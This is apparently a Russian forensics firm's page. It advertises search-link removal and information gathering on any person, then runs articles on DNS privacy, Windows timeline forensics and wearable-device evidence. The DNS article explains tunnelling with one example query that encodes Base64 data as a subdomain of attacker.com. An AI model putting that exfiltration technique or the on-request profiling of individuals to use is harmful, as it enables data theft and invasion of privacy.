Компьютерная
криминалистика

Хотите навсегда избавиться от нежелательной ссылки в результатах поиска Google? Наша профессиональная услуга по удалению ссылок поможет Вам очистить Вашу онлайн-репутацию и защитить личную информацию. Мы гарантируем полное удаление одной ссылки из поисковой системы Google, обеспечивая Вам спокойствие!

Предлагаем услугу по удалению ссылок из поисковой системы Яндекс. Это поможет Вам защитить свои личные данные и репутацию. Гарантируем полное удаление одной ссылки, обеспечивая Вашу конфиденциальность.

В современном мире, где интернет играет огромную роль в формировании личной и профессиональной репутации, нежелательная информация о Вас в сети может нанести значительный вред. Понимая это, мы предлагаем Вам нашу профессиональную услугу по удалению нежелательной информации из интернета. Наша цель — помочь Вам восстановить и защитить Вашу онлайн репутацию, обеспечивая конфиденциальность и эффективность на каждом шагу.

Сбор и анализ информации о любом человеке по Вашему запросу. Наша команда использует современные методы и технологии для получения достоверных данных из различных источников.

Расследование и анализ различных цифровых инцидентов. Поможем Вам выявить и устранить угрозы, а также собрать необходимые данные для решения ваших задач в киберпространстве.

Вы можете обмазаться VPN-ами, заклеить веб-камеру синей изолентой и использовать HTTPS везде, где только можно. Но если вы оставили настройки DNS по умолчанию — поздравляю, вы ходите по улице голым, прикрываясь прозрачным полиэтиленом.
DNS (Domain Name System) — это телефонная книга интернета. Вы вводите  google.com , а DNS-сервер говорит вашему компьютеру: «Иди по адресу 142.250.x.x». И вот в чем ирония: пока содержание вашего разговора (HTTPS) зашифровано, то, кому вы звоните, видно всем, кто стоит на раздаче.
Давайте разберем, как этот древний протокол превращает вашу цифровую жизнь в открытую книгу для провайдера, хакеров и таких специалистов, как я.

Проблема 53-го порта: Болтун — находка для шпиона
Классический DNS работает по протоколу UDP на 53-м порту. И работает он в открытом виде (plaintext). Это значит, что любой узел между вами и DNS-сервером (ваш роутер, провайдер, админ корпоративной сети, товарищ майор на СОРМ-оборудовании) видит каждый ваш запрос.
Что они видят?


Они не видят, какое именно видео вы смотрите на YouTube. Но они видят:
1.  youtube.com  — 22:00 (ага, смотрит видосики).
2.  api.tinder.com  — 23:15 (ищет пару на ночь).
3.  jobsearch.ru  — 09:30 (собирается валить с работы).
4.  depression-help.org  — 03:00 (бессонница и проблемы).
Для форензика DNS-логи — это не просто список сайтов. Это паттерн поведения. Я могу составить ваш психологический портрет, просто глядя на домены, к которым обращается ваш смартфон, пока вы спите.

Умные устройства — тупые стукачи
Вы думаете, что контролируете свои запросы? Как бы не так. Ваши устройства болтают без умолку.
Умный холодильник стучится на серверы Samsung, китайская камера видеонаблюдения шлет “приветы” на непонятные IP в облаке Alibaba, а Windows тихо сливает телеметрию.
В ходе расследований мы часто ловим преступников не на том, что они гуглили «как спрятать труп», а на фоновом шуме. Например, телефон автоматически обновил погоду в конкретной локации или синхронизировал время через NTP-сервер, оставив след в DNS-логах провайдера. Алиби рассыпается в пыль.

Passive DNS: Машина времени для OSINT
Если вы думаете, что удалив историю браузера, вы стерли следы, у меня для вас плохие новости. Существует такая вещь, как Passive DNS.
Это огромные базы данных, которые собирают исторические связки “Домен — IP-адрес”.
Для OSINT-специалиста это золотая жила.
• Хотите узнать, на каких еще доменах висел этот подозрительный IP год назад? Passive DNS.
• Нужно найти все поддомены корпорации, чтобы найти забытую админку? Passive DNS.
• Нужно связать два, казалось бы, разных сайта мошенников? Мы смотрим историю смены их NS-записей (Name Server) и видим, что их администрировал один и тот же e-mail.

DNS-туннелирование: Как вынести данные под носом у фаервола
А теперь про высший пилотаж. DNS можно использовать не только для резолвинга имен, но и для передачи данных. Это называется DNS Tunneling.
Представьте, что вы сидите в корпоративной сети, где закрыто всё, кроме 53-го порта (потому что без DNS интернет не работает). Злоумышленник (или хитрый инсайдер) может передавать украденные файлы, кодируя их в поддомены.
Выглядит это так:

Запрос:  V2VyeVNlY3JldERhdGE=.attacker.com 
 Ответ:  IP address… 
На сервере злоумышленника  attacker.com  специальный скрипт ловит эти запросы, берет кусок  V2VyeVNlY3JldERhdGE= , декодирует его из Base64 и собирает файл обратно. Для обычного админа это выглядит как куча странных запросов к одному домену. Для меня — как красный флаг размером с небоскреб.

Как защищаются (и почему это бесит форензиков)
Чтобы закрыть эту дыру, придумали DoH (DNS over HTTPS) и DoT (DNS over TLS).
Эти технологии заворачивают ваши DNS-запросы в шифрованный туннель. Провайдер видит только кашу из байтов, летящую на 443 порт (HTTPS).
• Плюс: Провайдер не может продавать вашу историю посещений рекламщикам.
• Минус: Системные администраторы и безопасники теряют контроль над сетью. Вредоносное ПО тоже полюбило DoH, чтобы скрывать свои коммуникации с командными центрами.

Итог
DNS — это ахиллесова пята интернета. Это старый, болтливый протокол, на котором держится вся сеть.
Если вы не настроили защищенный DNS (на роутере или в браузере), считайте, что вы кричите о своих планах в мегафон посреди площади. А я, провайдер и хакеры стоим рядом с блокнотиками и записываем.

Люди любят врать. Свидетели путают время, подозреваемые придумывают алиби про поход к бабушке, а камеры наблюдения вечно смотрят не в ту сторону. Но есть один свидетель, который (почти) никогда не врет: файловая система.
Таймлайн — это святой грааль форензики. Это способ взять кучу разрозненного мусора — логи, метаданные, кэши — и выстроить их в одну жесткую линию, которая пригвоздит вашего «клиента» к месту преступления точнее, чем отпечатки пальцев. Сегодня я расскажу, как мы собираем этот цифровой пазл, и почему ваш компьютер знает о вас больше, чем вы сами.

Фундамент: MAC-времена и почему им нельзя верить слепо
Начнем с базы, на которой сыпятся новички. У каждого файла есть MAC-атрибуты:
• Modified (Изменен)
• Accessed (Доступен)
• Created (Создан)
• Born (В некоторых системах, дата “рождения” файла)

Казалось бы, бери дату изменения файла с ворованным отчетом — и дело в шляпе. Ага, разбежались. Опытный преступник (или просто везучий идиот) может изменить системное время или использовать утилиты для “timestomping” (подделки временных меток).
Поэтому, если вы строите таймлайн только на атрибутах файлов, вы — не эксперт, а гадалка на кофейной гуще. Настоящая магия начинается, когда мы лезем глубже.

LNK-файлы и Jump Lists: Предатели в вашей панели задач
Вы открыли флешку, скопировали документы, выдернули её и выбросили в реку. Думаете, вы чисты? Windows так не думает.
Каждый раз, когда вы открываете файл, система заботливо создает LNK-файл (ярлык) в скрытых папках, чтобы вам было удобно открыть его снова. Эти маленькие гаденыши хранят:
• Путь к файлу (даже если он был на той самой утопленной флешке).
• Дату первого и последнего открытия.
• Серийный номер тома (Volume Serial Number).
Jump Lists (списки переходов в меню “Пуск”) работают еще жестче, сохраняя историю ваших действий по приложениям. Сопоставив это с системным временем, мы видим не просто “файл был создан”, а “файл был открыт пользователем X через Word в 14:03:12”.

Реестр и Shellbags: Память слона
Реестр Windows — это кладбище ваших секретов. Одной из самых вкусных находок для меня всегда были Shellbags.
Shellbags запоминают настройки отображения папок (размер окна, вид значков и т.д.). Зачем это нужно системе? Для удобства. Зачем это нужно мне? Потому что даже если вы удалили папку с компроматом, запись в Shellbag останется. Она скажет мне: “В 10:15 утра этот парень заходил в папку ‘Схемыотмыва’, хотя сейчас её на диске нет”.

Prefetch и Shimcache: Доказательство запуска
“Я не запускал эту хакерскую утилиту, она сама скачалась вирусом!” — классическая отмазка.
Тут на сцену выходит Prefetch. Windows следит за тем, какие программы вы запускаете, чтобы в следующий раз они грузились быстрее. Файл  .pf  расскажет мне:
1. Имя исполняемого файла.
2. Сколько раз его запускали.
3. Дату и время последнего запуска (с точностью до секунды).
А если вы попытались почистить Prefetch (что уже само по себе подозрительно), у нас есть Shimcache (или AppCompatCache). Это механизм совместимости приложений, который хранит данные о запущенных файлах даже после перезагрузки. Он помнит всё, даже если файл давно стерт с лица земли.

Браузер и Event Logs: Финальный штрих
Теперь накладываем сверху вишенку на торт.
• Браузерная история: Кэш, куки, история загрузок. Мы видим, что в 14:00 вы гуглили “как скрыть следы удаления файлов”, а в 14:05 скачали чистильщик.
• Event Logs (Журналы событий): Security Log покажет моменты входа в систему, смены паролей и повышения привилегий. System Log покажет моменты подключения USB-устройств.

Как это выглядит в итоге?
Мы берем инструмент (например, Plaso/Log2Timeline или Magnet AXIOM), скармливаем ему образ диска, и он выплевывает гигантскую таблицу. А дальше начинается работа мозга.
Картина маслом:
• 13:55:00 — Вход в систему (Event Log).
• 13:57:12 — Подключение USB-накопителя “KINGSTON” (Registry/USBSTOR).
• 13:58:45 — Открытие папки “Конфиденциально” на диске D (Shellbags).
• 13:59:10 — Открытие файла “База_клиентов.xlsx” (LNK-файл + JumpList).
• 14:01:05 — Копирование файла (создание LNK на USB-накопителе).
• 14:02:00 — Извлечение USB (Event Log).
• 14:05:00 — Гугл-запрос “билет в Мексику” (Browser History).
Вот и всё. Алиби рассыпалось, адвокат плачет, а мы идем пить кофе. Цифра не врет, врут только люди, которые не знают, как она работает.

P.S. Не пытайтесь использовать CCleaner или “вайперы”, чтобы скрыть следы. Для эксперта сам факт использования таких утилит в критический момент — это как неоновая вывеска “Я ВИНОВЕН”. Лучшая защита — не делать глупостей.

В мире цифровой криминалистики мы привыкли копаться в жестких дисках и логах серверов. Но в последние годы самый интересный источник данных перекочевал прямо на тело человека. Фитнес-браслеты и умные часы — это не просто гаджеты. Это персональные «чёрные ящики», которые с пугающей точностью записывают историю жизни своего владельца. И когда эта история расходится с официальными показаниями, начинается самое интересное.

Ваш личный цифровой свидетель
Современные носимые устройства собирают массив данных, который для криминалиста — просто золотая жила. Вот лишь малая часть того, что они могут рассказать:
• Пульс. Сердце не обманешь. Учащенное сердцебиение в момент, когда вы якобы «крепко спали», может указывать на стресс, панику или интенсивную физическую нагрузку. Например, на борьбу или бегство с места преступления.
• GPS-треки. Самое очевидное. Ваше алиби «я весь вечер был дома» мгновенно рассыпается, если трекер показывает, что в это время вы находились по адресу, где произошло преступление. Точность современных чипов позволяет определить местоположение с погрешностью в несколько метров.
• Шаги и активность. Устройство скрупулезно считает каждый шаг. Если подозреваемый утверждает, что был ранен и не мог передвигаться, а его часы зафиксировали 5000 шагов после предполагаемого ранения, — у его адвоката будут проблемы. Данные акселерометра могут даже помочь определить характер движений: шел человек, бежал или ехал в машине.
• Фазы сна. Заявление «я спал как младенец» легко проверяется. Трекер покажет не только время засыпания и пробуждения, но и фазы глубокого и быстрого сна. Отсутствие сна в указанное время — жирный минус к достоверности показаний.

Как браслет ломает алиби: реальные примеры
Это не теория. Суды по всему миру всё чаще принимают данные с носимых устройств в качестве доказательств. Классический случай — дело Ричарда Дабейта, который утверждал, что его жену убил грабитель, а его самого связал и пытал. Его фитнес-браслет рассказал совсем другую историю. Данные показали, что он прошел более 1200 шагов по дому в то время, когда, по его словам, был связан. А данные с браслета его убитой жены зафиксировали её передвижения по дому уже после того времени, как она, по версии мужа, была мертва. Итог — обвинение в убийстве.
Другой сценарий: жертва нападения. Её часы могут зафиксировать момент прекращения движения и резкое падение пульса, что помогает установить точное время смерти. Или, наоборот, GPS-трек жертвы может привести следствие прямо к месту, где спрятано тело.

Не всё так просто, но…
Конечно, защита всегда пытается оспорить такие улики. «Часы носил кто-то другой», «произошел сбой в данных», «пульс подскочил от просмотра фильма ужасов». Поэтому данные с трекера редко бывают единственным доказательством. Но когда они ложатся в одну канву с другими уликами — данными с камер наблюдения, биллингом телефона, показаниями свидетелей — они создают железобетонную картину произошедшего.
Получить эти данные — отдельная задача. Это требует официальных запросов к производителям вроде Apple, Google или Garmin, которые хранят резервные копии в облаке. Но когда на кону раскрытие тяжкого преступления, мы получаем необходимые ордеры.
Так что в следующий раз, когда ваш браслет поздравит вас с достижением цели по шагам, помните: он не только ваш тренер, но и потенциальный молчаливый свидетель. И подкупить его не получится.